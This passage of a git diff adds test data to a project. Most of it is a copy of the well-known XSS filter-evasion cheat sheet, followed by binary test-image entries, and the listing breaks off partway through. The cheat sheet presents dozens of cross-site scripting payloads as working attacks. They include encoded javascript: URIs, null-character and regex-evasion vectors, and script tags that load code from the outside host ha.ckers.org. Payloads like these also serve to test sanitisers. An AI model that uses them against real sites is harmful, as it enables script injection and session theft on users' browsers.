to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + JavaScript Includes + <BR SIZE="&{alert('XSS')}"> + &JavaScript includes (works in Netscape 4.x). + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] + + + Character Encoding Example + < +%3C +&lt +&lt; +&LT +&LT; +&#60 +&#060 +&#0060 +&#00060 +&#000060 +&#0000060 +&#60; +&#060; +&#0060; +&#00060; +&#000060; +&#0000060; +&#x3c +&#x03c +&#x003c +&#x0003c +&#x00003c +&#x000003c +&#x3c; +&#x03c; +&#x003c; +&#x0003c; +&#x00003c; +&#x000003c; +&#X3c +&#X03c +&#X003c +&#X0003c +&#X00003c +&#X000003c +&#X3c; +&#X03c; +&#X003c; +&#X0003c; +&#X00003c; +&#X000003c; +&#x3C +&#x03C +&#x003C +&#x0003C +&#x00003C +&#x000003C +&#x3C; +&#x03C; +&#x003C; +&#x0003C; +&#x00003C; +&#x000003C; +&#X3C +&#X03C +&#X003C +&#X0003C +&#X00003C +&#X000003C +&#X3C; +&#X03C; +&#X003C; +&#X0003C; +&#X00003C; +&#X000003C; +\x3c +\x3C +\u003c +\u003C + All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). + + Browser support: + + + Case Insensitive + <IMG SRC=JaVaScRiPt:alert('XSS')> + Case insensitive XSS attack vector. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + HTML Entities + <IMG SRC=javascript:alert(&quot;XSS&quot;)> + HTML entities (the semicolons are required for this to work). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Grave Accents + <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> + Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Image w/CharCode + <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> + If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + UTF-8 Unicode Encoding + <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> + UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Long UTF-8 Unicode w/out Semicolons + <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> + Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + DIV w/Unicode + <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> + DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Hex Encoding w/out Semicolons + <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> + Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + UTF-7 Encoding + <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- + UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Escaping JavaScript escapes + \";alert('XSS');// + Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + End title tag + </TITLE><SCRIPT>alert("XSS");</SCRIPT> + This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + STYLE w/broken up JavaScript + <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> + STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Embedded Tab + <IMG SRC="jav ascript:alert('XSS');"> + Embedded tab to break up the cross site scripting attack. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Embedded Encoded Tab + <IMG SRC="jav&#x09;ascript:alert('XSS');"> + Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Embedded Newline + <IMG SRC="jav&#x0A;ascript:alert('XSS');"> + Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Embedded Carriage Return + <IMG SRC="jav&#x0D;ascript:alert('XSS');"> + Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Multiline w/Carriage Returns + <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > + Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Null Chars 1 + perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out + Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Null Chars 2 + perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out + Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Spaces/Meta Chars + <IMG SRC=" &#14; javascript:alert('XSS');"> + Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Non-Alpha/Non-Digit + <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Non-Alpha/Non-Digit Part 2 + <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> + Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + No Closing Script Tag + <SCRIPT SRC=http://ha.ckers.org/xss.js + In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Protocol resolution in script tags + <SCRIPT SRC=//ha.ckers.org/.j> + This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Half-Open HTML/JavaScript + <IMG SRC="javascript:alert('XSS')" + Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: + /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ +As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] + + + Double open angle brackets + <IFRAME SRC=http://ha.ckers.org/scriptlet.html < + This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't + + Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Extraneous Open Brackets + <<SCRIPT>alert("XSS");//<</SCRIPT> + (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Malformed IMG Tags + <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> + Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + No Quotes/Semicolons + <SCRIPT>a=/XSS/ +alert(a.source)</SCRIPT> + No single quotes or double quotes or semicolons. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Event Handlers List 1 + See Below + Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: + +-FSCommand() (execute from within an embedded Flash object) + +-onAbort() (when user aborts the loading of an image) + +-onActivate() (when object is set as the active element) + +-onAfterPrint() (activates after user prints or previews print job) + +-onAfterUpdate() (activates on data object after updating data in the source object) + +-onBeforeActivate() (fires before the object is set as the active element) + +-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) + +-onBeforeCut() (attacker executes the attack string right before a selection is cut) + +-onBeforeDeactivate() (fires right after the activeElement is changed from the current object) + +-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) + +-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) + +-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) + +-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent) + +-onBegin() (fires immediately when the element's timeline begins) + +-onBlur() (in the case where another popup is loaded and window loses focus) + +-onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window) + +-onCellChange() (fires when data changes in the data provider) + +-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified) + +-onClick() (fires when someone clicks on a form) + +-onContextMenu() (user would need to right click on attack area) + +-onControlSelect() (fires when the user is about to make a control selection of the object) + +-onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command) + +-onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command) + +-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function) + +-onDataSetChanged() (fires when the data set exposed by a data source object changes) + +-onDataSetComplete() (fires to indicate that all data is available from the data source object) + +-onDblClick() (fires when user double-clicks a form element or a link) + +-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) + +-onDrag() (requires that the user drags an object) + +-onDragEnd() (requires that the user drags an object) + +-onDragLeave() (requires that the user drags an object off a valid location) + +-onDragEnter() (requires that the user drags an object into a valid location) + +-onDragOver() (requires that the user drags an object into a valid location) + +-onDragDrop() (user drops an object (e.g. file) onto the browser window) + +-onDrop() (fires when user drops an object (e.g. file) onto the browser window) + + + Browser support: + + + Event Handlers List 2 + See Below + -onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">) + +-onError() (loading of a document or image causes an error) + +-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) + +-onFilterChange() (fires when a visual filter completes state change) + +-onFinish() (attacker could create the exploit when marquee is finished looping) + +-onFocus() (attacker executes the attack string when the window gets focus) + +-onFocusIn() (attacker executes the attack string when window gets focus) + +-onFocusOut() (attacker executes the attack string when window loses focus) + +-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) + +-onKeyDown() (fires when user depresses a key) + +-onKeyPress() (fires when user presses or holds down a key) + +-onKeyUp() (fires when user releases a key) + +-onLayoutComplete() (user would have to print or print preview) + +-onLoad() (attacker executes the attack string after the window loads) + +-onLoseCapture() (can be exploited by the releaseCapture() method) + +-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing) + +-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) + +-onMouseDown() (the attacker would need to get the user to click on an image) + +-onMouseEnter() (fires when cursor moves over an object or area) + +-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) + +-onMouseMove() (the attacker would need to get the user to mouse over an image or table) + +-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) + +-onMouseOver() (fires when cursor moves over an object or area) + +-onMouseUp() (the attacker would need to get the user to click on an image) + +-onMouseWheel() (the attacker would need to get the user to use their mouse wheel) + +-onMove() (user or attacker would move the page) + +-onMoveEnd() (user or attacker would move the page) + +-onMoveStart() (user or attacker would move the page) + +-onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline) + +-onPaste() (user would need to paste or attacker could use the execCommand("Paste") function) + +-onPause() (fires on every element that is active when the timeline pauses, including the body element) + +-onProgress() (attacker would use this as a flash movie was loading) + +-onPropertyChange() (user or attacker would need to change an element property) + +-onReadyStateChange() (user or attacker would need to change an element property) + + + Browser support: + + + Event Handlers List 3 + See Below + -onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle) + +-onReset() (fires when user or attacker resets a form) + +-onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>) + +-onResume() (fires on every element that becomes active when the timeline resumes, including the body element) + +-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) + +-onRowEnter() (user or attacker would need to change a row in a data source) + +-onRowExit() (user or attacker would need to change a row in a data source) + +-onRowsDelete() (user or attacker would need to delete a row in a data source) + +-onRowsInserted() (user or attacker would need to insert a row in a data source) + +-onScroll() (user would need to scroll, or attacker could use the scrollBy() function) + +-onSeek() (fires when the timeline is set to play in any direction other than forward) + +-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");) + +-onStart() (fires at the beginning of each marquee loop) + +-onStop() (user would need to press the stop button or leave the webpage) + +-onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire) + +-onSubmit() (requires attacker or user submits a form) + +-onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value) + +-onTrackChange() (fires when user or attacker changes track in a playList) + +-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) + +-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) + +-seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) + + + Browser support: + + + Evade Regex Filter 1 + <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter: + /<script[^>]+src/i + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Evade Regex Filter 2 + <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + +(this is an important one, because I've seen this regex in the wild) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Evade Regex Filter 3 + <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Another XSS to evade this regex filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Evade Regex Filter 4 + <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Yet another XSS to evade the same filter: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i +The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Evade Regex Filter 5 + <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> + And one last XSS attack (using grave accents) to evade this regex: + /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] + + + Filter Evasion 1 + <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> + This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + + Filter Evasion 2 + <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> + Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. + + Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] + + diff --git a/tests/data/images/2004-07-22-DSC_0007.jpg b/tests/data/images/2004-07-22-DSC_0007.jpg new file mode 100644 index 0000000000..a9703f333d Binary files /dev/null and b/tests/data/images/2004-07-22-DSC_0007.jpg differ diff --git a/tests/data/images/2004-07-22-DSC_0008.jpg b/tests/data/images/2004-07-22-DSC_0008.jpg new file mode 100644 index 0000000000..faa12f3160 Binary files /dev/null and b/tests/data/images/2004-07-22-DSC_0008.jpg differ diff --git a/tests/data/images/2007-06-17DSC_4173.JPG b/tests/data/images/2007-06-17DSC_4173.JPG new file mode 100644 index 0000000000..2cbe3b90f7 Binary files /dev/null and b/tests/data/images/2007-06-17DSC_4173.JPG differ diff --git a/tests/data/images/a2-small-100x75.jpg b/tests/data/images/a2-small-100x75.jpg new file mode 100644 index 0000000000..1cce87d999 Binary files /dev/null and b/tests/data/images/a2-small-100x75.jpg differ diff --git a/tests/data/images/a2-small.jpg b/tests/data/images/a2-small.jpg new file mode 100644 index 0000000000..d3d7bbc3ac Binary files /dev/null and b/tests/data/images/a2-small.jpg differ diff --git a/tests/data/images/canola.jpg b/tests/data/images/canola.jpg new file mode 100644 index 0000000000..938be00cde Binary files /dev/null and b/tests/data/images/canola.jpg differ diff --git a/tests/data/images/gradient-square.jpg b/tests/data/images/gradient-square.jpg new file mode 100644 index 0000000000..9f2cb3fb54 Binary files /dev/null and b/tests/data/images/gradient-square.jpg differ diff --git a/tests/data/images/test-image-cmyk.jpg b/tests/data/images/test-image-cmyk.jpg new file mode 100755 index 0000000000..9b3b112449 Binary files /dev/null and b/tests/data/images/test-image-cmyk.jpg differ diff --git a/tests/data/images/test-image-grayscale.jpg b/tests/data/images/test-image-grayscale.jpg new file mode 100755 index 0000000000..7e8903181b Binary files /dev/null and b/tests/data/images/test-image-grayscale.jpg differ diff --git a/tests/data/images/test-image-iptc.jpg b/tests/data/images/test-image-iptc.jpg new file mode 100644 index 0000000000..a054dec2c6 Binary files /dev/null and b/tests/data/images/test-image-iptc.jpg differ diff --git a/tests/data/images/test-image-lzw.tiff b/tests/data/images/test-image-lzw.tiff new file mode 100644 index 0000000000..0fdfc079aa Binary files /dev/null and b/tests/data/images/test-image-lzw.tiff differ diff --git a/tests/data/images/test-image-mime-jpg.png b/tests/data/images/test-image-mime-jpg.png new file mode 100644 index 0000000000..534aac1d6b Binary files /dev/null and b/tests/data/images/test-image-mime-jpg.png differ diff --git a/tests/data/images/test-image-zip.tiff b/tests/data/images/test-image-zip.tiff new file mode 100644 index 0000000000..5ed5986388 Binary files /dev/null and b/tests/data/images/test-image-zip.tiff differ diff --git a/tests/data/images/test-image.bmp b/tests/data/images/test-image.bmp new file mode 100644 index 0000000000..97a54ce379 Binary files /dev/null and b/tests/data/images/test-image.bmp differ diff --git a/tests/data/images/test-image.gif b/tests/data/images/test-image.gif new file mode 100644 index 0000000000..8fad364479 Binary files /dev/null and b/tests/data/images/test-image.gif differ diff --git a/tests/data/images/test-image.jp2 b/tests/data/images/test-image.jp2 new file mode 100644 index 0000000000..4d96c3c4d7 Binary files /dev/null and b/tests/data/images/test-image.jp2 differ diff --git a/tests/data/images/test-image.jpg b/tests/data/images/test-image.jpg new file mode 100644 index 0000000000..534aac1d6b Binary files /dev/null and b/tests/data/images/test-image.jpg differ diff --git a/tests/data/images/test-image.pct b/tests/data/images/test-image.pct new file mode 100644 index 0000000000..7466604764 Binary files /dev/null and b/tests/data/images/test-image.pct differ diff --git a/tests/data/images/test-image.png b/tests/data/images/test-image.png new file mode 100644 index 0000000000..642ce92975 Binary files /dev/null and b/tests/data/images/test-image.png differ diff --git a/tests/data/images/test-image.psd b/tests/data/images/test-image.psd new file mode 100644 index 0000000000..3389eb4985 Binary files /dev/null and b/tests/data/images/test-image.psd differ diff --git a/tests/data/images/test-image.sgi b/tests/data/images/test-image.sgi new file mode 100644 index 